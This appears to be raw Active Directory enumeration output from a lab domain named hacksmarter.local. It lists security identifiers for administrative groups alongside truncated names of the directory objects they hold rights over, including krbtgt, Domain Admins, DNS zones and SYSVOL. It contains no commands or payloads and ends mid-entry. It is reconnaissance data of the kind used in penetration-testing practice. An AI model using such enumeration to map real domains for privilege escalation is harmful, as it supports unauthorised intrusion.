S-1-5-21-3154413470-3340737026-2748725799-512 CN=bab5f54d-06c8-48de-9b87-d78b796564e4,CN... S-1-5-32-544 CN=f3dd09dd-25e8-4f9c-85df-12d6d2f2f2f5,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=f3dd09dd-25e8-4f9c-85df-12d6d2f2f2f5,CN... S-1-5-32-544 CN=2416c60a-fe15-4d7a-a61e-dffd5df864d3,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=2416c60a-fe15-4d7a-a61e-dffd5df864d3,CN... S-1-5-32-544 CN=7868d4c8-ac41-4e05-b401-776280e8e9f1,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=7868d4c8-ac41-4e05-b401-776280e8e9f1,CN... S-1-5-32-544 CN=860c36ed-5241-4c62-a18b-cf6ff9994173,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=860c36ed-5241-4c62-a18b-cf6ff9994173,CN... S-1-5-32-544 CN=0e660ea3-8a5e-4495-9ad7-ca1bd4638f9e,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=0e660ea3-8a5e-4495-9ad7-ca1bd4638f9e,CN... S-1-5-32-544 CN=a86fe12a-0f62-4e2a-b271-d27f601f8182,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=a86fe12a-0f62-4e2a-b271-d27f601f8182,CN... S-1-5-32-544 CN=d85c0bfd-094f-4cad-a2b5-82ac9268475d,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=d85c0bfd-094f-4cad-a2b5-82ac9268475d,CN... S-1-5-32-544 CN=6ada9ff7-c9df-45c1-908e-9fef2fab008a,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6ada9ff7-c9df-45c1-908e-9fef2fab008a,CN... S-1-5-32-544 CN=10b3ad2a-6883-4fa7-90fc-6377cbdc1b26,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=10b3ad2a-6883-4fa7-90fc-6377cbdc1b26,CN... S-1-5-32-544 CN=98de1d3e-6611-443b-8b4e-f4337f1ded0b,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=98de1d3e-6611-443b-8b4e-f4337f1ded0b,CN... S-1-5-32-544 CN=f607fd87-80cf-45e2-890b-6cf97ec0e284,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=f607fd87-80cf-45e2-890b-6cf97ec0e284,CN... S-1-5-32-544 CN=9cac1f66-2167-47ad-a472-2a13251310e4,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=9cac1f66-2167-47ad-a472-2a13251310e4,CN... S-1-5-32-544 CN=6ff880d6-11e7-4ed1-a20f-aac45da48650,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6ff880d6-11e7-4ed1-a20f-aac45da48650,CN... S-1-5-32-544 CN=446f24ea-cfd5-4c52-8346-96e170bcb912,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=446f24ea-cfd5-4c52-8346-96e170bcb912,CN... S-1-5-32-544 CN=51cba88b-99cf-4e16-bef2-c427b38d0767,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=51cba88b-99cf-4e16-bef2-c427b38d0767,CN... S-1-5-32-544 CN=a3dac986-80e7-4e59-a059-54cb1ab43cb9,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=a3dac986-80e7-4e59-a059-54cb1ab43cb9,CN... S-1-5-32-544 CN=293f0798-ea5c-4455-9f5d-45f33a30703b,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=293f0798-ea5c-4455-9f5d-45f33a30703b,CN... S-1-5-32-544 CN=5c82b233-75fc-41b3-ac71-c69592e6bf15,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=5c82b233-75fc-41b3-ac71-c69592e6bf15,CN... S-1-5-32-544 CN=7ffef925-405b-440a-8d58-35e8cd6e98c3,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=7ffef925-405b-440a-8d58-35e8cd6e98c3,CN... S-1-5-32-544 CN=4dfbb973-8a62-4310-a90c-776e00f83222,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=4dfbb973-8a62-4310-a90c-776e00f83222,CN... S-1-5-32-544 CN=8437C3D8-7689-4200-BF38-79E4AC33DFA0,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=8437C3D8-7689-4200-BF38-79E4AC33DFA0,CN... S-1-5-32-544 CN=7cfb016c-4f87-4406-8166-bd9df943947f,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=7cfb016c-4f87-4406-8166-bd9df943947f,CN... S-1-5-32-544 CN=f7ed4553-d82b-49ef-a839-2f38a36bb069,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=f7ed4553-d82b-49ef-a839-2f38a36bb069,CN... S-1-5-32-544 CN=8ca38317-13a4-4bd4-806f-ebed6acb5d0c,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=8ca38317-13a4-4bd4-806f-ebed6acb5d0c,CN... S-1-5-32-544 CN=3c784009-1f57-4e2a-9b04-6915c9e71961,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=3c784009-1f57-4e2a-9b04-6915c9e71961,CN... S-1-5-32-544 CN=6bcd5678-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5678-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5679-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5679-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567a-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567a-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567b-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567b-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567c-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567c-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567d-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567d-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567e-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567e-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd567f-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd567f-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5680-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5680-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5681-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5681-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5682-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5682-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5683-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5683-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5684-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5684-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5685-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5685-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5686-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5686-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5687-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5687-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5688-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5688-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd5689-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd5689-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd568a-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd568a-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd568b-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd568b-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd568c-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd568c-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=6bcd568d-8314-11d6-977b-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=6bcd568d-8314-11d6-977b-00c04f613221,CN... S-1-5-32-544 CN=3051c66f-b332-4a73-9a20-2d6a7d6e6a1c,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=3051c66f-b332-4a73-9a20-2d6a7d6e6a1c,CN... S-1-5-32-544 CN=3e4f4182-ac5d-4378-b760-0eab2de593e2,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=3e4f4182-ac5d-4378-b760-0eab2de593e2,CN... S-1-5-32-544 CN=c4f17608-e611-11d6-9793-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=c4f17608-e611-11d6-9793-00c04f613221,CN... S-1-5-32-544 CN=13d15cf0-e6c8-11d6-9793-00c04f613221,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=13d15cf0-e6c8-11d6-9793-00c04f613221,CN... S-1-5-32-544 CN=8ddf6913-1c7b-4c59-a5af-b9ca3b3d2c4c,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=8ddf6913-1c7b-4c59-a5af-b9ca3b3d2c4c,CN... S-1-5-32-544 CN=dda1d01d-4bd7-4c49-a184-46f9241b560e,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=dda1d01d-4bd7-4c49-a184-46f9241b560e,CN... S-1-5-32-544 CN=a1789bfb-e0a2-4739-8cc0-e77d892d080a,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=a1789bfb-e0a2-4739-8cc0-e77d892d080a,CN... S-1-5-32-544 CN=61b34cb0-55ee-4be9-b595-97810b92b017,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=61b34cb0-55ee-4be9-b595-97810b92b017,CN... S-1-5-32-544 CN=57428d75-bef7-43e1-938b-2e749f5a8d56,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=57428d75-bef7-43e1-938b-2e749f5a8d56,CN... S-1-5-32-544 CN=ebad865a-d649-416f-9922-456b53bbb5b8,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ebad865a-d649-416f-9922-456b53bbb5b8,CN... S-1-5-32-544 CN=0b7fb422-3609-4587-8c2e-94b10f67d1bf,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=0b7fb422-3609-4587-8c2e-94b10f67d1bf,CN... S-1-5-32-544 CN=2951353e-d102-4ea5-906c-54247eeec741,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=2951353e-d102-4ea5-906c-54247eeec741,CN... S-1-5-32-544 CN=71482d49-8870-4cb3-a438-b6fc9ec35d70,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=71482d49-8870-4cb3-a438-b6fc9ec35d70,CN... S-1-5-32-544 CN=aed72870-bf16-4788-8ac7-22299c8207f1,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=aed72870-bf16-4788-8ac7-22299c8207f1,CN... S-1-5-32-544 CN=f58300d1-b71a-4DB6-88a1-a8b9538beaca,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=f58300d1-b71a-4DB6-88a1-a8b9538beaca,CN... S-1-5-32-544 CN=231fb90b-c92a-40c9-9379-bacfc313a3e3,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=231fb90b-c92a-40c9-9379-bacfc313a3e3,CN... S-1-5-32-544 CN=4aaabc3a-c416-4b9c-a6bb-4b453ab1c1f0,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=4aaabc3a-c416-4b9c-a6bb-4b453ab1c1f0,CN... S-1-5-32-544 CN=9738c400-7795-4d6e-b19d-c16cd6486166,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=9738c400-7795-4d6e-b19d-c16cd6486166,CN... S-1-5-32-544 CN=de10d491-909f-4fb0-9abb-4b7865c0fe80,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=de10d491-909f-4fb0-9abb-4b7865c0fe80,CN... S-1-5-32-544 CN=b96ed344-545a-4172-aa0c-68118202f125,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=b96ed344-545a-4172-aa0c-68118202f125,CN... S-1-5-32-544 CN=4c93ad42-178a-4275-8600-16811d28f3aa,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=4c93ad42-178a-4275-8600-16811d28f3aa,CN... S-1-5-32-544 CN=c88227bc-fcca-4b58-8d8a-cd3d64528a02,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=c88227bc-fcca-4b58-8d8a-cd3d64528a02,CN... S-1-5-32-544 CN=5e1574f6-55df-493e-a671-aaeffca6a100,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=5e1574f6-55df-493e-a671-aaeffca6a100,CN... S-1-5-32-544 CN=d262aae8-41f7-48ed-9f35-56bbb677573d,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=d262aae8-41f7-48ed-9f35-56bbb677573d,CN... S-1-5-32-544 CN=82112ba0-7e4c-4a44-89d9-d46c9612bf91,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=82112ba0-7e4c-4a44-89d9-d46c9612bf91,CN... S-1-5-32-544 CN=c3c927a6-cc1d-47c0-966b-be8f9b63d991,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=c3c927a6-cc1d-47c0-966b-be8f9b63d991,CN... S-1-5-32-544 CN=54afcfb9-637a-4251-9f47-4d50e7021211,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=54afcfb9-637a-4251-9f47-4d50e7021211,CN... S-1-5-32-544 CN=f4728883-84dd-483c-9897-274f2ebcf11e,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=f4728883-84dd-483c-9897-274f2ebcf11e,CN... S-1-5-32-544 CN=ff4f9d27-7157-4cb0-80a9-5d6f2b14c8ff,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ff4f9d27-7157-4cb0-80a9-5d6f2b14c8ff,CN... S-1-5-32-544 CN=83C53DA7-427E-47A4-A07A-A324598B88F7,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=83C53DA7-427E-47A4-A07A-A324598B88F7,CN... S-1-5-32-544 CN=C81FC9CC-0130-4FD1-B272-634D74818133,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=C81FC9CC-0130-4FD1-B272-634D74818133,CN... S-1-5-32-544 CN=E5F9E791-D96D-4FC9-93C9-D53E1DC439BA,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=E5F9E791-D96D-4FC9-93C9-D53E1DC439BA,CN... S-1-5-32-544 CN=e6d5fd00-385d-4e65-b02d-9da3493ed850,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=e6d5fd00-385d-4e65-b02d-9da3493ed850,CN... S-1-5-32-544 CN=3a6b3fbf-3168-4312-a10d-dd5b3393952d,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=3a6b3fbf-3168-4312-a10d-dd5b3393952d,CN... S-1-5-32-544 CN=7F950403-0AB3-47F9-9730-5D7B0269F9BD,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=7F950403-0AB3-47F9-9730-5D7B0269F9BD,CN... S-1-5-32-544 CN=434bb40d-dbc9-4fe7-81d4-d57229f7b080,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=434bb40d-dbc9-4fe7-81d4-d57229f7b080,CN... S-1-5-32-544 CN=A0C238BA-9E30-4EE6-80A6-43F731E9A5CD,CN... S-1-5-21-3154413470-3340737026-2748725799-512 CN=A0C238BA-9E30-4EE6-80A6-43F731E9A5CD,CN... S-1-5-32-544 CN=Windows2003Update,CN=DomainUpdates,CN=S... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Windows2003Update,CN=DomainUpdates,CN=S... S-1-5-32-544 CN=ActiveDirectoryUpdate,CN=DomainUpdates,... S-1-5-21-3154413470-3340737026-2748725799-512 CN=ActiveDirectoryUpdate,CN=DomainUpdates,... S-1-5-32-544 CN=Password Settings Container,CN=System,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Password Settings Container,CN=System,D... S-1-5-32-544 CN=PSPs,CN=System,DC=hacksmarter,DC=local S-1-5-32-544 CN=TPM Devices,DC=hacksmarter,DC=local S-1-5-32-544 CN=Administrator,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Administrator,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Administrator,CN=Users,DC=hacksmarter,D... S-1-5-32-544 CN=Guest,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Builtin,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=Builtin,DC=hacksmarter,DC=local S-1-5-32-544 CN=Builtin,DC=hacksmarter,DC=local S-1-5-32-544 CN=Administrators,CN=Builtin,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Administrators,CN=Builtin,DC=hacksmarte... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Administrators,CN=Builtin,DC=hacksmarte... S-1-5-32-544 CN=Users,CN=Builtin,DC=hacksmarter,DC=local S-1-5-32-544 CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC... S-1-5-32-544 CN=S-1-5-11,CN=ForeignSecurityPrincipals,D... S-1-5-32-544 CN=Guests,CN=Builtin,DC=hacksmarter,DC=local S-1-5-32-544 CN=Print Operators,CN=Builtin,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Print Operators,CN=Builtin,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Print Operators,CN=Builtin,DC=hacksmart... S-1-5-32-544 CN=Backup Operators,CN=Builtin,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Backup Operators,CN=Builtin,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Backup Operators,CN=Builtin,DC=hacksmar... S-1-5-32-544 CN=Replicator,CN=Builtin,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Replicator,CN=Builtin,DC=hacksmarter,DC... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Replicator,CN=Builtin,DC=hacksmarter,DC... S-1-5-32-544 CN=Remote Desktop Users,CN=Builtin,DC=hack... S-1-5-32-544 CN=Network Configuration Operators,CN=Buil... S-1-5-32-544 CN=Performance Monitor Users,CN=Builtin,DC... S-1-5-32-544 CN=Performance Log Users,CN=Builtin,DC=hac... S-1-5-32-544 CN=Distributed COM Users,CN=Builtin,DC=hac... S-1-5-32-544 CN=IIS_IUSRS,CN=Builtin,DC=hacksmarter,DC=... S-1-5-32-544 CN=S-1-5-17,CN=ForeignSecurityPrincipals,D... S-1-5-32-544 CN=Cryptographic Operators,CN=Builtin,DC=h... S-1-5-32-544 CN=Event Log Readers,CN=Builtin,DC=hacksma... S-1-5-32-544 CN=Certificate Service DCOM Access,CN=Buil... S-1-5-32-544 CN=RDS Remote Access Servers,CN=Builtin,DC... S-1-5-32-544 CN=RDS Endpoint Servers,CN=Builtin,DC=hack... S-1-5-32-544 CN=RDS Management Servers,CN=Builtin,DC=ha... S-1-5-32-544 CN=Hyper-V Administrators,CN=Builtin,DC=ha... S-1-5-32-544 CN=Access Control Assistance Operators,CN=... S-1-5-32-544 CN=Remote Management Users,CN=Builtin,DC=h... S-1-5-32-544 CN=Storage Replica Administrators,CN=Built... S-1-5-32-544 CN=Server,CN=System,DC=hacksmarter,DC=local S-1-5-32-544 CN=DC01,OU=Domain Controllers,DC=hacksmart... S-1-5-32-544 CN=krbtgt,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-512 CN=krbtgt,CN=Users,DC=hacksmarter,DC=local S-1-5-21-3154413470-3340737026-2748725799-519 CN=krbtgt,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=Domain Computers,CN=Users,DC=hacksmarte... S-1-5-32-544 CN=Domain Controllers,CN=Users,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Domain Controllers,CN=Users,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Domain Controllers,CN=Users,DC=hacksmar... S-1-5-32-544 CN=Schema Admins,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Schema Admins,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Schema Admins,CN=Users,DC=hacksmarter,D... S-1-5-32-544 CN=Enterprise Admins,CN=Users,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Enterprise Admins,CN=Users,DC=hacksmart... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Enterprise Admins,CN=Users,DC=hacksmart... S-1-5-32-544 CN=Cert Publishers,CN=Users,DC=hacksmarter... S-1-5-32-544 CN=Domain Admins,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Domain Admins,CN=Users,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Domain Admins,CN=Users,DC=hacksmarter,D... S-1-5-32-544 CN=Domain Users,CN=Users,DC=hacksmarter,DC... S-1-5-32-544 CN=Domain Guests,CN=Users,DC=hacksmarter,D... S-1-5-32-544 CN=Group Policy Creator Owners,CN=Users,DC... S-1-5-32-544 CN=RAS and IAS Servers,CN=Users,DC=hacksma... S-1-5-32-544 CN=Server Operators,CN=Builtin,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Server Operators,CN=Builtin,DC=hacksmar... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Server Operators,CN=Builtin,DC=hacksmar... S-1-5-32-544 CN=Account Operators,CN=Builtin,DC=hacksma... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Account Operators,CN=Builtin,DC=hacksma... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Account Operators,CN=Builtin,DC=hacksma... S-1-5-32-544 CN=Pre-Windows 2000 Compatible Access,CN=B... S-1-5-32-544 CN=Incoming Forest Trust Builders,CN=Built... S-1-5-32-544 CN=Windows Authorization Access Group,CN=B... S-1-5-32-544 CN=Terminal Server License Servers,CN=Buil... S-1-5-32-544 CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC... S-1-5-32-544 CN=6E157EDF-4E72-4052-A82A-EC3F91021A22,CN... S-1-5-32-544 CN=Allowed RODC Password Replication Group... S-1-5-32-544 CN=Denied RODC Password Replication Group,... S-1-5-32-544 CN=Read-only Domain Controllers,CN=Users,D... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Read-only Domain Controllers,CN=Users,D... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Read-only Domain Controllers,CN=Users,D... S-1-5-32-544 CN=Enterprise Read-only Domain Controllers... S-1-5-32-544 CN=Cloneable Domain Controllers,CN=Users,D... S-1-5-32-544 CN=Protected Users,CN=Users,DC=hacksmarter... S-1-5-32-544 CN=Key Admins,CN=Users,DC=hacksmarter,DC=l... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Key Admins,CN=Users,DC=hacksmarter,DC=l... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Key Admins,CN=Users,DC=hacksmarter,DC=l... S-1-5-32-544 CN=Enterprise Key Admins,CN=Users,DC=hacks... S-1-5-21-3154413470-3340737026-2748725799-512 CN=Enterprise Key Admins,CN=Users,DC=hacks... S-1-5-21-3154413470-3340737026-2748725799-519 CN=Enterprise Key Admins,CN=Users,DC=hacks... S-1-5-32-544 CN=RID Manager$,CN=System,DC=hacksmarter,D... S-1-5-32-544 CN=RID Set,CN=DC01,OU=Domain Controllers,D... S-1-5-32-544 CN=DnsAdmins,CN=Users,DC=hacksmarter,DC=local S-1-5-32-544 CN=DnsUpdateProxy,CN=Users,DC=hacksmarter,... S-1-5-32-544 CN=MicrosoftDNS,CN=System,DC=hacksmarter,D... S-1-5-21-3154413470-3340737026-2748725799-... CN=MicrosoftDNS,CN=System,DC=hacksmarter,D... S-1-5-9 CN=MicrosoftDNS,CN=System,DC=hacksmarter,D... S-1-5-32-544 DC=RootDNSServers,CN=MicrosoftDNS,CN=Syste... S-1-5-9 DC=RootDNSServers,CN=MicrosoftDNS,CN=Syste... S-1-5-21-3154413470-3340737026-2748725799-... DC=RootDNSServers,CN=MicrosoftDNS,CN=Syste... S-1-5-9 DC=RootDNSServers,CN=MicrosoftDNS,CN=Syste... S-1-5-32-544 DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=... S-1-5-9 DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=... S-1-5-21-3154413470-3340737026-2748725799-... DC=@,DC=RootDNSServers,CN=MicrosoftDNS,CN=... S-1-5-32-544 DC=A.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=A.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=A.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=B.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=B.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=B.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=C.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=C.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=C.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=D.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=D.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=D.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=E.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=E.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=E.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=F.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=F.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=F.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=G.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=G.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=G.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=H.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=H.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=H.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=I.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=I.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=I.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=J.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=J.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=J.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=K.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=K.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=K.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=L.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=L.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=L.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 DC=M.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-9 DC=M.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-21-3154413470-3340737026-2748725799-... DC=M.ROOT-SERVERS.NET,DC=RootDNSServers,CN... S-1-5-32-544 CN=DFSR-GlobalSettings,CN=System,DC=hacksm... S-1-5-32-544 CN=Domain System Volume,CN=DFSR-GlobalSett... S-1-5-32-544 CN=Content,CN=Domain System Volume,CN=DFSR... S-1-5-32-544 CN=SYSVOL 